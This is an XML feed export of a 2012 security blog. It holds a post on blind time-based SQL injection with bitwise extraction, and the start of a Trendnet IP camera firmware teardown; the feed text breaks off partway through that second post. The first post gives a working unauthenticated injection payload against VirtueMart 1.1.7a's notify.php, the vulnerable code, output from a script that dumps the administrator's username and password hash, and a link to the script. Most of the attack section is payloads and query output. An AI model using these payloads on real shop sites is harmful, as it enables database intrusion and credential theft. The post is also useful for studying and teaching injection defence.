<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5948768001255972621</id><updated>2012-01-21T20:33:31.086-08:00</updated><category term='postgresql'/><category term='python hacking'/><category term='IDS'/><category term='pass-the-hash'/><category term='vulnerability'/><category term='Burp Extractor'/><category term='firebug'/><category term='penetration testing'/><category term='hacking challenge'/><category term='database pillaging'/><category term='hacking'/><category term='mssql'/><category term='airdrop-ng'/><category term='deauthentication'/><category term='Burp Intruder'/><category term='how strong is your fu'/><category term='cracking'/><category term='wpa pmk'/><category term='ganglia'/><category term='exploitation'/><category term='pci'/><category term='python'/><category term='Offensive Security'/><category term='post exploitation'/><category term='video'/><category term='Burp comparer'/><category term='ficti0n'/><category term='Antivirus'/><category term='injection'/><category term='SMB relay'/><category term='bypass'/><category term='database'/><category term='Sql injection'/><category term='offsec'/><category term='Client Side Attacks'/><category term='airdrop'/><category term='Web hacking'/><category term='Windows Malformed Escape Sequences'/><category term='cuda'/><category term='mysql'/><category term='authentication'/><category term='php'/><category term='Time based web attacks'/><category term='wifi'/><category term='virtuemart exploit'/><category term='security'/><category term='pyrit'/><category term='tutorial'/><category term='Cross Site Scripting'/><category term='webcam'/><category term='intrusion Detection'/><category term='Immunity'/><category term='deauth'/><category term='airolib-ng'/><category term='metasploit'/><category term='applicure'/><category term='post'/><category term='trendnet vulnerability'/><category term='wpa'/><category term='oracle'/><category term='creepy'/><category term='cowpatty'/><category term='pillaging data'/><category term='Canvas'/><category term='hipaa'/><category term='airolib'/><category term='direct object reference'/><category term='Burp Tutorial'/><category term='wireless'/><category term='LFI'/><category term='killthen00b'/><category term='jtr'/><category term='pass the hash'/><category term='pillaging'/><category term='XSS'/><category term='pentest'/><category term='opendlp'/><title type='text'>consolecowboys</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>24</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-3216608436941480289</id><published>2012-01-21T20:33:00.000-08:00</published><updated>2012-01-21T20:33:31.107-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Sql injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Time based web attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='virtuemart exploit'/><title type='text'>Bit Banging your Database</title><content type='html'>This post will be about&amp;nbsp;stealing&amp;nbsp;data from a database one bit at a time. Most of the time pulling data from a database a bit at a time would not be ideal or desirable, but in certain cases it will work just fine. For instance when dealing with a blind time based sql injection. To bring anyone who is not aware of what a "blind time based" sql injection is up to speed - this is a condition where it is possible to inject into a sql statement that is executed by the database, but the application gives no indication about the result of the query. This is normally exploited by injecting boolean statements into a query and making the database pause for a determined about of time before returning a response. Think of it as playing a game "guess who" with the database. &lt;br /&gt;&lt;br /&gt;Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;select length(username) from jos_users where usertype = 'Super Administrator';&lt;/blockquote&gt;Because we can't return the value back directly we have to make a query like the following iteratively:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';&lt;br /&gt;select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;We would keep incrementing the number we compare the length of the username to until the database paused (benchmark function hit). In this case it would be 5 requests until our statement was true and the benchmark was hit.&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Examples showing time difference:&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;&amp;nbsp;mysql&amp;gt; select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';&lt;br /&gt;&lt;b&gt;1 row in set (0.00 sec)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';&lt;br /&gt;&lt;b&gt;1 row in set (0.85 sec)&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;Now in the instance of the password, the field is 65 characters long, so it would require 65 requests to discover the length of the password using this same technique. This is where we get to the topic of the post, we can actually determine the length of any field in only 8 requests (up to 255). By querying the value bit by bit we can determine if a bit is set or not by using a boolean statement again. We will use the following to test each bit of our value:&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Start with checking the most significant bit and continue to the least significant bit, value is '65':&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;value &amp;amp; 128&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;01000001&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;10000000&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;-----------&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;00000000&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;value &amp;amp; 64&lt;br /&gt;01000001&lt;br /&gt;01000000&lt;br /&gt;-----------&lt;br /&gt;01000000&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;value &amp;amp; 32&lt;br /&gt;01000001&lt;br /&gt;00100000&lt;br /&gt;-----------&lt;br /&gt;00000000&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;value &amp;amp; 16&lt;br /&gt;01000001&lt;br /&gt;00010000&lt;br /&gt;--------&lt;br /&gt;00000000&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;value &amp;amp; 8&lt;br /&gt;01000001&lt;br /&gt;00001000&lt;br /&gt;--------&lt;br /&gt;00000000&lt;br /&gt;&lt;br /&gt;value &amp;amp; 4&lt;br /&gt;01000001&lt;br /&gt;00000100&lt;br /&gt;-----------&lt;br /&gt;00000000&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;value &amp;amp; 2&lt;br /&gt;01000001&lt;br /&gt;00000010&lt;br /&gt;-----------&lt;br /&gt;00000000&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: red;"&gt;value &amp;amp; 1&lt;br /&gt;01000001&lt;br /&gt;00000001&lt;br /&gt;-----------&lt;br /&gt;00000001&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;The items that have been highlighted in red identify where we would have a bit set (1), this is also the what we will use to satisfy our boolean statement to identify a 'true' statement. The following example shows the previous example being executed on the database, we identify set bits by running a benchmark to make the database pause:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 128,benchmark(50000000,md5('cc')),0) from jos_users;&lt;br /&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: red;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 64,benchmark(50000000,md5('cc')),0) from jos_users;&lt;br /&gt;1 row in set (7.91 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 32,benchmark(50000000,md5('cc')),0) from jos_users;&lt;br /&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 16,benchmark(50000000,md5('cc')),0) from jos_users;&lt;br /&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 8,benchmark(50000000,md5('cc')),0) &amp;nbsp;from jos_users;&lt;br /&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 4,benchmark(50000000,md5('cc')),0) &amp;nbsp;from jos_users;&lt;br /&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 2,benchmark(50000000,md5('cc')),0) from jos_users;&lt;br /&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: red;"&gt;mysql&amp;gt; select if(length(password) &amp;amp; 1,benchmark(50000000,md5('cc')),0) &amp;nbsp;from jos_users;&lt;br /&gt;1 row in set (8.74 sec)&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;As you can see, whenever we satisfy the boolean statement we get a delay in our response, we can mark that bit as being set (1) and all others as being unset (0). This gives us 01000001 or 65. Now that we have figured out how long our target value is we can move onto extracting its value from the database. Normally this is done using a substring function to move through the value character by character. At each offset we would test its value against a list of characters until our boolean statement was satisfied, indicating we have found the correct character. Example of this:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;&lt;/span&gt;&lt;/blockquote&gt;This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL&lt;/span&gt;&lt;/blockquote&gt;If you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 128,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: lime;"&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: red;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 64,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: red;"&gt;1 row in set (7.91 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: red;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 32,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: red;"&gt;1 row in set (7.93 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 16,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: lime;"&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;span style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 8,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: lime;"&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: red;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 4,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: red;"&gt;1 row in set (7.91 sec)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 2,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: lime;"&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;span style="color: lime;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: lime;"&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;mysql&amp;gt; select if(ord(substring(password,1,1)) &amp;amp; 1,benchmark(50000000,md5('cc')),0) from jos_users;&lt;/span&gt;&lt;span style="color: lime;"&gt;1 row in set (0.00 sec)&lt;/span&gt;&lt;/blockquote&gt;&lt;div&gt;Again I have highlighted the requests where the bit was set in red. According to these queries the value is 01100100 (100) which is equal to 'd'. The offset of the substring would be incremented and the next character would be found until we reached the length of the value that we found earlier.&lt;br /&gt;&lt;br /&gt;Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is&amp;nbsp;&lt;a href="http://virtuemart.net/"&gt;Virtuemart&lt;/a&gt;. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version &lt;a href="http://dev.virtuemart.net/attachments/download/208/VirtueMart_1.1.7a-COMPLETE_PACKAGE.j15.zip"&gt;1.1.7a&lt;/a&gt;. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8.&amp;nbsp;The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if($order_id === "" || $order_id === null)&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $vmLogger-&amp;gt;debug("Could not find order ID via invoice");&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $vmLogger-&amp;gt;debug("Trying to get via TransactionID: ".$txn_id);&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span style="color: red;"&gt;$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $db-&amp;gt;query($qv);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; print($qv);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if( !$db-&amp;gt;next_record()) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; $vmLogger-&amp;gt;err("Error: No Records Found.");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/blockquote&gt;The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: lime;"&gt;POST /administrator/components/com_virtuemart/notify.php HTTP/1.0&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Content-Length: 56&lt;br /&gt;invoice=1&amp;amp;txn_id=1' or benchmark(50000000,md5('cc'));# &amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;[*] Getting string length&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;[+] username length is:5&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;[+] username:admin&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;[*] Getting string length&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;[+] password length is:65&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="color: lime;"&gt;[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfL&lt;/span&gt;&lt;/blockquote&gt;The "vm_own.py" script can be downloaded &lt;a href="http://consolecowboys.org/scripts/vm_own.py"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-3216608436941480289?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/3216608436941480289/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2012/01/bit-banging-your-database.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/3216608436941480289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/3216608436941480289'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2012/01/bit-banging-your-database.html' title='Bit Banging your Database'/><author><name>someLuser</name><uri>http://www.blogger.com/profile/16124941373996159409</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-1165222566104591512</id><published>2012-01-10T14:44:00.000-08:00</published><updated>2012-01-13T07:11:02.039-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcam'/><category scheme='http://www.blogger.com/atom/ns#' term='trendnet vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='creepy'/><category scheme='http://www.blogger.com/atom/ns#' term='direct object reference'/><title type='text'>Trendnet Cameras - I always feel like somebody's watching me.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Firstly this post requires the following song to be playing.&lt;br /&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=wVfjwIyc-CU"&gt;http://www.youtube.com/watch?v=wVfjwIyc-CU&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Now that we got that out of the way... I have been seeing posts on sites with people having fun with&amp;nbsp;embedded&amp;nbsp;systems/devices and I was feeling left out. I didn't really want to go out and buy a device so I looked at what was laying around.&amp;nbsp;&lt;/div&gt;&lt;div&gt;Enter the Trendnet TV-IP110w -&amp;nbsp;&lt;a href="http://www.trendnet.com/products/proddetail.asp?prod=145_TV-IP110W"&gt;http://www.trendnet.com/products/proddetail.asp?prod=145_TV-IP110W&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;To start off the latest firmware for this device can be found at the following location :&lt;/div&gt;&lt;div&gt;&lt;a href="http://downloads.trendnet.com/tv-ip110w/firmware/FW_TV-IP110W_A1.x(1.1.0.104).zip"&gt;http://downloads.trendnet.com/tv-ip110w/firmware/FW_TV-IP110W_A1.x(1.1.0.104).zip&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;First order of business was to update the camera with the most recent firmware:&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-9mIsajQERUk/Twyc3j4ZZLI/AAAAAAAAANQ/UfyrszBN5QA/s1600/1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="438" src="http://3.bp.blogspot.com/-9mIsajQERUk/Twyc3j4ZZLI/AAAAAAAAANQ/UfyrszBN5QA/s640/1.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Device info page confirming firmware version&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;Now that the device was using the same version of firmware as I was going to dive into, lets get to work. I will be using binwalk to fingerprint file headers that exist inside the firmware file. Binwalk can be downloaded from the following url:&amp;nbsp;&lt;a href="http://code.google.com/p/binwalk/"&gt;http://code.google.com/p/binwalk/&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Running binwalk against the firmware file&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: lime;"&gt;binwalk FW_TV-IP110W_1.1.0-104_20110325_r1006.pck&amp;nbsp;&lt;/span&gt;&lt;br /&gt;DECIMAL &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;HEX &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;DESCRIPTION&lt;br /&gt;-------------------------------------------------------------------------------------------------------&lt;br /&gt;32320 &amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;0x7E40 &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gzip compressed data, from Unix, last modified: Thu Mar 24 22:59:08 2011, max compression&lt;br /&gt;679136 &amp;nbsp; &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;0xA5CE0 &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;Looks like there are two gzip files in the "pck" file. Lets carve them out using 'dd'. First cut the head off the file and save it off as '1_unk'&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;#&lt;span style="color: lime;"&gt;dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=1_unk bs=1 count=32320&lt;/span&gt;&lt;br /&gt;32320+0 records in&lt;br /&gt;32320+0 records out&lt;br /&gt;32320 bytes (32 kB) copied, 0.167867 s, 193 kB/s&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;Next cut out the first gzip file that was identified, we will call this file '2'&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;#&lt;span style="color: lime;"&gt;dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=2 bs=1 skip=32320 count=646816&lt;/span&gt;&lt;br /&gt;646816+0 records in&lt;br /&gt;646816+0 records out&lt;br /&gt;646816 bytes (647 kB) copied, 2.87656 s, 225 kB/s&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;Finally cut the last part of the file out that was identified as being a gzip file, call this file '3'&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;#&lt;span style="color: lime;"&gt;dd if=FW_TV-IP110W_1.1.0-104_20110325_r1006.pck of=3 bs=1 skip=679136&lt;/span&gt;&lt;br /&gt;2008256+0 records in&lt;br /&gt;2008256+0 records out&lt;br /&gt;2008256 bytes (2.0 MB) copied, 8.84203 s, 227 kB/s&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;For this post I am going to ignore files '1_unk' and '2' and just concentrate on file '3' as it contains an interesting bug :) Make a copy of the file '3' and extract it using gunzip&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;#&lt;span style="color: lime;"&gt;file 3&lt;/span&gt;&lt;br /&gt;3: gzip compressed data, was "rootfs", from Unix, last modified: Thu Mar 24 22:59:09 2011, max compression&lt;br /&gt;#&lt;span style="color: lime;"&gt;cp 3 3z.gz&lt;/span&gt;&lt;br /&gt;#&lt;span style="color: lime;"&gt;gunzip 3z.gz&lt;/span&gt;&lt;br /&gt;gzip: 3z.gz: decompression OK, trailing garbage ignored&lt;br /&gt;#&lt;span style="color: lime;"&gt;file 3z&lt;/span&gt;&lt;br /&gt;3z: Minix filesystem, 30 char names&lt;/span&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;div&gt;As we can see the file '3' was a compressed &lt;a href="http://en.wikipedia.org/wiki/MINIX_file_system"&gt;Minix&lt;/a&gt; file system. Lets mount it and take a look around.&lt;/div&gt;&lt;div&gt;&lt;blockquote class="tr_bq"&gt;&lt;span style="font-size: x-small;"&gt;#&lt;span style="color: lime;"&gt;mkdir cameraFS&lt;/span&gt;&lt;br /&gt;#&lt;span style="color: lime;"&gt;sudo mount -o loop -t minix 3z cameraFS/&lt;/span&gt;&lt;br /&gt;#&lt;span style="color: lime;"&gt;cd cameraFS&lt;/span&gt;/&lt;br 